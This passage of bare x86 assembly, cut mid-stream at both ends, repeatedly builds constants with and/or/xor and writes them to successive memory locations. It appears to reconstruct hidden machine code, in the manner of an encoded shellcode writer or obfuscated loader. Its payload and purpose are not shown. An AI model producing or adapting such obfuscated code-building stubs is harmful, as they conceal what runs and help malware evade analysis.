or eax, 0xa0411b90
mov dword [ebx], eax
add ebx, edx
or eax, 0x34190900
and eax, 0x69a02b25
and eax, 0x824
or eax, 0x558b0058
mov dword [ebx], eax
add ebx, edx
or eax, 0x629199fd
and eax, 0x341111fc
or eax, 0x80442200
mov dword [ebx], eax
add ebx, edx
or eax, 0x33e35cdd
and eax, 0x474def30
and eax, 0x5012330
or eax, 0x408a1044
mov dword [ebx], eax
add ebx, edx
or eax, 0x24dba85d
and eax, 0x24412b34
or eax, 0x98040080
mov dword [ebx], eax
add ebx, edx
or eax, 0x12816c12
and eax, 0x3cc44532
or eax, 0x40280009
mov dword [ebx], eax
add ebx, edx
or eax, 0x60707aa7
and eax, 0x7c4c0b1f
or eax, 0x80018000
mov dword [ebx], eax
add ebx, edx
or eax, 0x17651830
and eax, 0xdc4d8b0f
or eax, 0x2400
mov dword [ebx], eax
add ebx, edx
and eax, 0x75fa8d91
xor eax, 0x478a16e5
and eax, 0x10800920
or eax, 0x6c2c441b
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d01baee
and eax, 0x48058b13
or eax, 0x80500000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5baee788
and eax, 0x13e8440b
or eax, 0x28001120
mov dword [ebx], eax
add ebx, edx
or eax, 0x11d1b1c
and eax, 0x117d5015
or eax, 0xa040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x352e9ebf
and eax, 0x2040448a
or eax, 0x1ba00101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3284361c
or eax, 0x7ce00b5b
and eax, 0x9646045
or eax, 0x198400
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e032323
and eax, 1
or eax, 0x83dc4d8a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ab5ce46
and eax, 0x490901c9
or eax, 0x4800020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1328f177
and eax, 0x5c01809c
or eax, 0xa0540b40
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a914a6
and eax, 0x7de0153a
or eax, 0x4001
mov dword [ebx], eax
add ebx, edx
or eax, 0x24a4d4bb
and eax, 0x48448111
or eax, 0x80010a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b32452
or eax, 0x43e06405
and eax, 0x1014001
or eax, 0x88008082
mov dword [ebx], eax
add ebx, edx
or eax, 0x47bc2d73
and eax, 0x4d89c841
or eax, 0x20004
mov dword [ebx], eax
add ebx, edx
and eax, 0x211a16f
or eax, 0x45c7d6f1
and eax, 0x444512c0
or eax, 0xb0082908
mov dword [ebx], eax
add ebx, edx
and eax, 0x38caa1b1
and eax, 0x7f6a5b6a
and eax, 0x10080100
or eax, 0x45830e7c
mov dword [ebx], eax
add ebx, edx
or eax, 0x74eb6c6b
and eax, 0x55ab0f6c
or eax, 0x40080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f0097d2
xor eax, 0x23b1a264
and eax, 0x9120050
or eax, 0x6c08580
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b62eafa
or eax, 0x33f8fd2b
and eax, 0xb580
or eax, 4
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c0426b9
and eax, 0
or eax, 0xf0458b00
mov dword [ebx], eax
add ebx, edx
and eax, 0x17cc0914
or eax, 0x4abb2ad1
and eax, 0x50ec0101
or eax, 0x2400440a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b408e65
and eax, 0x400c8b28
or eax, 0xa0410010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47f77170
xor eax, 0x6dd13774
and eax, 0xc8498d0c
or eax, 0x10042203
mov dword [ebx], eax
add ebx, edx
or eax, 0x76ed957f
or eax, 0x524943c3
and eax, 0x7ccc4d3b
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ccfeee8
and eax, 0x14440828
or eax, 0xc0118304
mov dword [ebx], eax
add ebx, edx
and eax, 0x80d3d9
and eax, 0x108
or eax, 0x89dc5423
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e1915d2
and eax, 0x1a961f88
and eax, 0xa940480
or eax, 0xf56b2815
mov dword [ebx], eax
add ebx, edx
or eax, 0x5384ff63
and eax, 0xe8458bf7
or eax, 8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71649b92
xor eax, 0x7695ba97
and eax, 0xef208088
or eax, 0x10080501
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f643216
and eax, 0x47b8dec5
and eax, 0x40089685
or eax, 0xd83697a
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f5a50c
and eax, 0x81810c
or eax, 0x16802d0
mov dword [ebx], eax
add ebx, edx
or eax, 0x69aade9f
and eax, 0x9c84d89
or eax, 0x82140000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c1799f1
and eax, 0x8140881
or eax, 0xf7eb2414
mov dword [ebx], eax
add ebx, edx
xor eax, 0x274407d2
and eax, 0x8912b47
or eax, 0x200410b8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f6ea347
and eax, 0x22a92b64
and eax, 0xa90820
or eax, 0x7c56f7df
mov dword [ebx], eax
add ebx, edx
and eax, 0x62a33ec5
xor eax, 0x37da9220
and eax, 0x44418821
or eax, 0x8004030a
mov dword [ebx], eax
add ebx, edx
and eax, 0x12872347
and eax, 0x40103
or eax, 0x3bb84428
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43b453b9
and eax, 0x20081000
or eax, 0x74e845
mov dword [ebx], eax
add ebx, edx
and eax, 0x511a997d
and eax, 0x100801
or eax, 0x3be4458a
mov dword [ebx], eax
add ebx, edx
and eax, 0x3cd9711
and eax, 0x1571d4b6
and eax, 0x1400000
or eax, 0x83dc84d
mov dword [ebx], eax
add ebx, edx
or eax, 0x115bdb75
and eax, 0x1144145
or eax, 0x800482
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73977d8c
or eax, 0x188c5a59
and eax, 0x6a000000
or eax, 0x81000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5be9b11f
and eax, 0x70d65ab0
and eax, 0x10400000
or eax, 0x8405c707
mov dword [ebx], eax
add ebx, edx
or eax, 0x3011d42f
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x37116d8f
xor eax, 0x43a4c377
and eax, 0x3a04103
or eax, 0x20481488
mov dword [ebx], eax
add ebx, edx
or eax, 0x799a86d0
and eax, 0x4a709451
or eax, 0x40004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3dba51cb
xor eax, 0x498d0e2
and eax, 0x23540508
or eax, 0x8884083
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f1a7328
or eax, 0x52386e9f
and eax, 0x453a6405
or eax, 0x18040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73165e99
and eax, 0x22d38d4
or eax, 0x89124500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ff6228e
and eax, 0x80815448
or eax, 0x41028005
mov dword [ebx], eax
add ebx, edx
or eax, 0x353209d1
and eax, 0xd4018901
or eax, 0x4c0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x100b7ad7
and eax, 0x104c5183
or eax, 0x2ba00408
mov dword [ebx], eax
add ebx, edx
or eax, 0x23a73a35
xor eax, 0x28fb54c9
and eax, 0x2140054
or eax, 0x2c69d401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c20c3d4
and eax, 0x71dd2dcb
and eax, 0x580581
or eax, 0x83a0400a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d03962c
and eax, 0x44890180
or eax, 0x1000040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e5e33ef
and eax, 0x3b2b9da1
and eax, 0x10010020
or eax, 0xc04c8bd8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e618b14
and eax, 0xc280028
or eax, 0x71d04d13
mov dword [ebx], eax
add ebx, edx
and eax, 0x571c4dc6
or eax, 0x1af0ffc9
and eax, 0x14508b08
or eax, 0xa0050004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71408b8c
or eax, 0x2ba73b84
and eax, 0xec152b04
or eax, 0x1040840b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x81d582f
xor eax, 0x4116213e
and eax, 0x3444541a
or eax, 0x48a00121
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61833ebc
and eax, 0x11a9f368
and eax, 0x10010300
or eax, 0xe4448808
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f277d86
and eax, 0x74000100
or eax, 0xf0442b
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b6b243a
xor eax, 0x5e557738
and eax, 0x200c0201
or eax, 0xd4418908
mov dword [ebx], eax
add ebx, edx
or eax, 0x10bd9773
and eax, 0x80018103
or eax, 0x9004080
mov dword [ebx], eax
add ebx, edx
or eax, 0x68453e03
and eax, 0x4101f401
or eax, 0x148a004c
mov dword [ebx], eax
add ebx, edx
or eax, 0x2af6efe3
and eax, 0x1c283ec
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x209d668e
and eax, 0x568caafc
and eax, 0xc0000
or eax, 0x8bf05589
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a3c7b2e
and eax, 0x41002c05
or eax, 0x43bd040
mov dword [ebx], eax
add ebx, edx
or eax, 0x783218
xor eax, 0x50ed55ca
and eax, 0x1002984
or eax, 0x8a095460
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69ca1df3
and eax, 0x1c022130
and eax, 0x22000
or eax, 0xe981dc4d
mov dword [ebx], eax
add ebx, edx
or eax, 0x66cf1f24
and eax, 0xec4d8901
or eax, 0x10000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1decb203
xor eax, 0x37601c0c
and eax, 0xa88050b
or eax, 0x31405080
mov dword [ebx], eax
add ebx, edx
and eax, 0x36a6e160
or eax, 0x34e96424
and eax, 0x696004
or eax, 0x9148051
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b827d4
xor eax, 0x3b005ec0
and eax, 0x900105
or eax, 0x10044c2
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a325351
or eax, 0x1f3879c9
and eax, 0x6b000000
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x716ec06d
and eax, 0x9044c005
or eax, 0x10702
mov dword [ebx], eax
add ebx, edx
xor eax, 0x452f05cd
or eax, 0xdc6d2f8
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x243c26d9
and eax, 0x2e956788
and eax, 0
or eax, 0x33e8458b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7dead2d6
and eax, 0x4009045
or eax, 0x21740000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7315f468
and eax, 0x33544409
or eax, 0x8880982
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5cf9b33b
xor eax, 0x68e86c6c
and eax, 0xd4d904c
or eax, 0x10304801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x21124c
and eax, 0xd1c4001
or eax, 0x2a0158a
mov dword [ebx], eax
add ebx, edx
or eax, 0x8279205
or eax, 0x42530b61
and eax, 0xbdc55af
or eax, 0x30000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79861500
and eax, 0x2edab824
and eax, 0x580004
or eax, 0x1125ec51
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a02512f
or eax, 0x4c730e62
and eax, 0x3b60450b
or eax, 0x800080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x713f09dd
or eax, 0x59c5386a
and eax, 0x95d5444
or eax, 0x208001
mov dword [ebx], eax
add ebx, edx
or eax, 0x294b8970
and eax, 0x1744d01
or eax, 0x8280008a
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d1523f2
and eax, 0x718d6156
and eax, 0x1000100
or eax, 0x4c8900e9
mov dword [ebx], eax
add ebx, edx
and eax, 0x5468e117
and eax, 0x40000100
or eax, 0x98558af4
mov dword [ebx], eax
add ebx, edx
and eax, 0x200292c1
or eax, 0x569a15eb
and eax, 0x5498152b
or eax, 0x28444010
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c78509
or eax, 0x870a6df
and eax, 0x64458335
or eax, 0x80000800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56c96abc
and eax, 0x785129f0
and eax, 0x30000100
or eax, 0x4df8443b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47d856f7
xor eax, 0x199cecf6
and eax, 0x4c708
or eax, 0x8c410001
mov dword [ebx], eax
add ebx, edx
or eax, 0xf2d3ca9
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ffb8632
or eax, 0x3e793c5c
and eax, 0x5c3066b
or eax, 0x40040180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x12ed529c
and eax, 4
or eax, 0x88
mov dword [ebx], eax
add ebx, edx
xor eax, 0x152f6ef5
and eax, 0x100d0a00
or eax, 0xe0408100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68d74810
and eax, 0x8884110
or eax, 0x7040c23
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a96d76c
and eax, 0x8e04
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
and eax, 0x37a2e26d
and eax, 0x8200
or eax, 0xfc550900
mov dword [ebx], eax
add ebx, edx
or eax, 0x7808cece
and eax, 0x8801c282
or eax, 0x1000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f4711a
and eax, 0x181f011
or eax, 0x440a0c44
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b3c2a5e
and eax, 0x3ea58b01
and eax, 0x800
or eax, 0xd04533fc
mov dword [ebx], eax
add ebx, edx
and eax, 0x37565550
and eax, 0x1150
or eax, 0x4d8b6c2d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60f516e0
and eax, 0x240c0988
or eax, 0x818060
mov dword [ebx], eax
add ebx, edx
xor eax, 0x370da267
and eax, 0x3802b8f
or eax, 0x887fd470
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b2a9482
and eax, 0x1088000
or eax, 0x94816055
mov dword [ebx], eax
add ebx, edx
and eax, 0x223593a
and eax, 0x476fb31f
and eax, 0x10000
or eax, 0xfffeff20
mov dword [ebx], eax
add ebx, edx
and eax, 0xbad442d
and eax, 0x3a04400
or eax, 0x8040018b
mov dword [ebx], eax
add ebx, edx
or eax, 0x5dc30cd3
and eax, 0x458101c8
or eax, 0x80020
mov dword [ebx], eax
add ebx, edx
and eax, 0x33628aca
and eax, 0xc0
or eax, 0x248d8b20
mov dword [ebx], eax
add ebx, edx
and eax, 0x651e2ad1
and eax, 0x200c0ac0
or eax, 0x1bf3f53f
mov dword [ebx], eax
add ebx, edx
and eax, 0xab1f4b7
and eax, 0xab12085
or eax, 0xf54e0008
mov dword [ebx], eax
add ebx, edx
and eax, 0x30472fb4
and eax, 0x22084
or eax, 0x8b385d7b
mov dword [ebx], eax
add ebx, edx
and eax, 0x35c18a6a
xor eax, 0x5b3861dd
and eax, 0x50084815
or eax, 0x5039440
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d734ede
and eax, 0x1024414
or eax, 0x8a3030a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e02a0ff
and eax, 0xc002f045
or eax, 0x810000
mov dword [ebx], eax
add ebx, edx
or eax, 0x674dafa2
and eax, 0xe0458901
or eax, 0x10000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x865792a
or eax, 0xad53385
and eax, 0x8d00981
or eax, 0x8108440a
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c17c391
and eax, 0xdddf0c89
or eax, 0x22201004
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ab00cbc
xor eax, 0x71810fae
and eax, 0x30110322
or eax, 0xc04488dd
mov dword [ebx], eax
add ebx, edx
and eax, 0xc40670e
xor eax, 0xebad295
and eax, 0xe189189
or eax, 0xf1000400
mov dword [ebx], eax
add ebx, edx
or eax, 0x72d4f35c
and eax, 0x7f00927
and eax, 0x5800105
or eax, 0x400bfefa
mov dword [ebx], eax
add ebx, edx
or eax, 0x670282b2
and eax, 0x73ed2edf
and eax, 0x18002d8
or eax, 0x408100
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e043b32
xor eax, 0x44f383e6
and eax, 0xb100008
or eax, 0x80c84581
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fa17852
or eax, 0x56b0e443
and eax, 0x5fb00401
or eax, 0xa04f188c
mov dword [ebx], eax
add ebx, edx
xor eax, 0xbc79bb2
and eax, 0x2fc7de3f
and eax, 0x23f
or eax, 0x188d39c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x488ce70f
and eax, 0x88c230f
or eax, 0x7473dcf0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x596225f0
and eax, 0x4158a01
or eax, 0xc0400110
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ebacf26
and eax, 0x8a00
or eax, 0x89016083
mov dword [ebx], eax
add ebx, edx
or eax, 0x29a228ec
or eax, 0x5d2b328e
and eax, 0x458bc045
or eax, 0x410
mov dword [ebx], eax
add ebx, edx
or eax, 0x7432cae
xor eax, 0x65b3f89d
and eax, 0x401020
or eax, 0xc4052b90
mov dword [ebx], eax
add ebx, edx
or eax, 0x48fc418b
and eax, 0x4c890939
or eax, 0x1020044
mov dword [ebx], eax
add ebx, edx
or eax, 0x49aae464
and eax, 0x1818168
or eax, 0x400280
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6510cc0f
and eax, 0x60c04d81
or eax, 0x89280008
mov dword [ebx], eax
add ebx, edx
or eax, 0x482e8029
and eax, 0xe9eec889
or eax, 0x16113200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x627ea0d5
and eax, 0x81005008
or eax, 0x80583
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf19d855
or eax, 0x65b7b3fc
and eax, 0x2486c2
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1bb14157
and eax, 0x13b08100
or eax, 0x40420000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b2fed37
and eax, 0x4650d75e
and eax, 0x2000000
or eax, 0x89446449
mov dword [ebx], eax
add ebx, edx
or eax, 0x348c25fd
or eax, 0x335c81df
and eax, 0x3a0c0445
or eax, 0x40011000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c6a267f
and eax, 0x2c000039
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6142381b
and eax, 0x1822
or eax, 0x8010
mov dword [ebx], eax
add ebx, edx
and eax, 0x78fab313
and eax, 0x8010
or eax, 0xffe74d25
mov dword [ebx], eax
add ebx, edx
xor eax, 0x223f17c9
and eax, 0xc89088fc
or eax, 0x103
mov dword [ebx], eax
add ebx, edx
xor eax, 0x141a472c
and eax, 0x88000011
or eax, 0x300000c
mov dword [ebx], eax
add ebx, edx
and eax, 0x140dc653
and eax, 1
or eax, 0xc181104c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ef27076
and eax, 0x6ca73106
and eax, 2
or eax, 0x58d1
mov dword [ebx], eax
add ebx, edx
and eax, 0x27b084c2
and eax, 0x80
or eax, 0x648e101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x565ddd95
and eax, 0x50010000
or eax, 0xa1800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x26c740cb
or eax, 0x5d380985
and eax, 0xc
or eax, 0x220
mov dword [ebx], eax
add ebx, edx
and eax, 0x386ce77b
and eax, 0x3b2396fa
and eax, 8
or eax, 0x812c5583
mov dword [ebx], eax
add ebx, edx
and eax, 0x656ecf04
and eax, 0x2c0100
or eax, 0x4388ca
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e284e28
and eax, 0x200000
or eax, 0x97d28100
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f20a83b
xor eax, 0x31ff8c2a
and eax, 0x88000001
or eax, 0x6e
mov dword [ebx], eax
add ebx, edx
and eax, 0x38b384c2
and eax, 2
or eax, 0x1dc888
mov dword [ebx], eax
add ebx, edx
and eax, 0x220c0795
xor eax, 0x7fb81cf0
and eax, 0x1c040800
or eax, 0x418300
mov dword [ebx], eax
add ebx, edx
and eax, 0x120649cf
and eax, 0x800
or eax, 0x7b320d
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f7fb53c
and eax, 0xf333500
or eax, 0x90800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x57f7921
or eax, 0x79f88862
and eax, 0x4d8b4c62
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e1bc98b
and eax, 0x10000
or eax, 0xc1f08114
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32e96ef4
and eax, 0x810000e0
or eax, 0xd
mov dword [ebx], eax
add ebx, edx
xor eax, 0x36a2197c
and eax, 0x821091
or eax, 0x80260
mov dword [ebx], eax
add ebx, edx
and eax, 0x73ca1480
and eax, 0x800000
or eax, 0xc8018900
mov dword [ebx], eax
add ebx, edx
or eax, 0x317b23f0
or eax, 0x43fc7a7f
and eax, 0xe800001d
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b660aae
and eax, 0xc
or eax, 0x4e81
mov dword [ebx], eax
add ebx, edx
or eax, 0x52849d7a
and eax, 0x4558b
or eax, 0x81280000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x215ed659
and eax, 0x5f6d74ec
and eax, 0xc0
or eax, 0xd9932
mov dword [ebx], eax
add ebx, edx
xor eax, 0x294d746b
and eax, 0x28408100
or eax, 0xc2b20000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23956f47
xor eax, 0x273c4dbd
and eax, 0x800000b0
or eax, 0x1000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4970b4fb
xor eax, 0x189e6614
and eax, 0xae00e2
or eax, 0x100010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6376862b
and eax, 0x408200
or eax, 0x8050900
mov dword [ebx], eax
add ebx, edx
and eax, 0x61c15d31
and eax, 0x2e2ab1ee
and eax, 0
or eax, 0x601c2d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56473383
and eax, 0x2032500
or eax, 0xa1901000
mov dword [ebx], eax
add ebx, edx
or eax, 0x39805cbe
and eax, 0x90807dbe
or eax, 0x88241
mov dword [ebx], eax
add ebx, edx
or eax, 0x659e6bee
or eax, 0x76399e20
and eax, 0x1dc8
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x428a60f4
and eax, 0x539f9036
and eax, 0
or eax, 0x12b20e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x73b43bba
and eax, 0x1002000
or eax, 0x1cc89800
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f6756c7
and eax, 0x7359fc07
and eax, 0x1400000
or eax, 0x4ab0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b0d3fca
and eax, 0x80000
or eax, 0x4474e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7010bba1
and eax, 0x6bf116a1
and eax, 0x40400200
or eax, 0x1da58900
mov dword [ebx], eax
add ebx, edx
and eax, 0x273e5fda
or eax, 0x15ff984b
and eax, 0x48b1143
or eax, 0xe8004480
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a204615
or eax, 0x5063ac29
and eax, 0xc640ec83
or eax, 0x1100000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6386e8db
and eax, 0x3f8d5f39
and eax, 0x40400
or eax, 0xb02f845
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a3f99d3
and eax, 0x1070000
or eax, 0x44c00000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ad822fa
and eax, 0
or eax, 0x10370f8
mov dword [ebx], eax
add ebx, edx
or eax, 0x55d1ac46
xor eax, 0x397d2ce5
and eax, 0x6404c000
or eax, 0x90410700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e52470f
and eax, 0x18004
or eax, 0x230
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1eb2ae62
and eax, 0x14b00446
or eax, 0x61404181
mov dword [ebx], eax
add ebx, edx
or eax, 0x2461a07
and eax, 0x47000005
or eax, 0x80000030
mov dword [ebx], eax
add ebx, edx
and eax, 0x45940d5f
or eax, 0x71c78026
and eax, 0x45058005
or eax, 0x2206c40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7396e538
and eax, 0x4830001
or eax, 0x41440000
mov dword [ebx], eax
add ebx, edx
or eax, 0x20468ab
and eax, 0x10128a8
or eax, 0x101440
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a2759b
and eax, 0x400
or eax, 0xe445c300
mov dword [ebx], eax
add ebx, edx
or eax, 0x55e3c011
and eax, 0x10500
or eax, 0x38c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x677e84d8
and eax, 0x1600102
or eax, 0x88044c5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x472bdf8d
and eax, 0x46000002
or eax, 0x81000014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33a4088e
and eax, 0x4e836267
and eax, 0x44000000
or eax, 0x8072dc45
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b9b0c81
and eax, 0x20000
or eax, 0x45c50000
mov dword [ebx], eax
add ebx, edx
or eax, 0x213f9439
and eax, 0x15e1018
or eax, 0x48c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x252fa5ce
and eax, 0x1874e2f5
and eax, 0x44c000
or eax, 0xd4010700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c273371
or eax, 0x648e9904
and eax, 0x9450
or eax, 0x200
mov dword [ebx], eax
add ebx, edx
and eax, 0x7af5741d
and eax, 0x400
or eax, 0xe6d041c7
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fb6744c
and eax, 0xc70000c3
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
and eax, 0xe13295d
or eax, 0x33be68a1
and eax, 0x6384841
or eax, 0x80408404
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb8d2253
or eax, 0xccc41c8
and eax, 0x5c50000
or eax, 0x40020000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5dfe106c
and eax, 0x3e3ef480
and eax, 0x180000
or eax, 0x8300c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d348366
and eax, 0
or eax, 0xc445c700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6870689a
and eax, 0x902
or eax, 0x4025
mov dword [ebx], eax
add ebx, edx
or eax, 0x3db2849c
and eax, 0x2d358d8f
and eax, 0x5000587
or eax, 0x90c04040
mov dword [ebx], eax
add ebx, edx
and eax, 0x72c9f705
xor eax, 0x71004c2e
and eax, 0x41000102
or eax, 0x86000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x37bc7507
and eax, 0x533c3405
or eax, 0x8428840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x12eed28b
xor eax, 0x2e2a97ae
and eax, 0x45820000
or eax, 0x450000
mov dword [ebx], eax
add ebx, edx
and eax, 0x28e35bea
and eax, 0x20000
or eax, 0x3c82b8
mov dword [ebx], eax
add ebx, edx
and eax, 0x58cbad39
and eax, 0x298bfaac
and eax, 0x8000
or eax, 0xb4454700
mov dword [ebx], eax
add ebx, edx
and eax, 0x43e21225
and eax, 0
or eax, 0x8cdf
mov dword [ebx], eax
add ebx, edx
and eax, 0x4830592e
and eax, 6
or eax, 0x1b045c1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18472ec8
and eax, 0x900000e
or eax, 0x820000f0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30413477
and eax, 0x88411481
or eax, 0x44824964
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a6aaf89
and eax, 0xc488c04c
or eax, 0x8440c80
mov dword [ebx], eax
add ebx, edx
or eax, 0x39b039f7
and eax, 0xcccccccc
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a401e02
and eax, 0xcc8854cc
or eax, 0x20030100
mov dword [ebx], eax
add ebx, edx
and eax, 0x2afecc43
and eax, 0x4400
or eax, 0xc754a883
mov dword [ebx], eax
add ebx, edx
and eax, 0x23e52c23
and eax, 0x4997c1ae
and eax, 0x40000
or eax, 0x6ca0fc45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54b3d2c2
and eax, 0x424c831d
and eax, 0x40001
or eax, 0x45c30000
mov dword [ebx], eax
add ebx, edx
or eax, 0x81167d4
and eax, 0xd640d0
or eax, 0x280028
mov dword [ebx], eax
add ebx, edx
xor eax, 0x668ec372
and eax, 0x64408300
or eax, 0x90054400
mov dword [ebx], eax
add ebx, edx
and eax, 0x465a373
or eax, 0x56faa165
and eax, 0x141
or eax, 0x818
mov dword [ebx], eax
add ebx, edx
or eax, 0x7adea52
and eax, 0xa04143
or eax, 0x500484
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d2f43d0
and eax, 0x5000052
or eax, 0xc2000008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b3a76ae
and eax, 0x8126444
or eax, 0x1048801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c774777
xor eax, 0x597d63a8
and eax, 0x4040000
or eax, 0x41c30000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4db1fb6e
xor eax, 0x6d839314
and eax, 0x646868
or eax, 0x880780
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7312a8f8
xor eax, 0x1eff5bf1
and eax, 0x64018400
or eax, 0x80444300
mov dword [ebx], eax
add ebx, edx
and eax, 0x22dd1a84
and eax, 0xa5c1ec
and eax, 0
or eax, 0x21c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c166f72
or eax, 0x44830299
and eax, 0x48804481
or eax, 0x11600146
mov dword [ebx], eax
add ebx, edx
or eax, 0x7dc4c303
or eax, 0x1c7abead
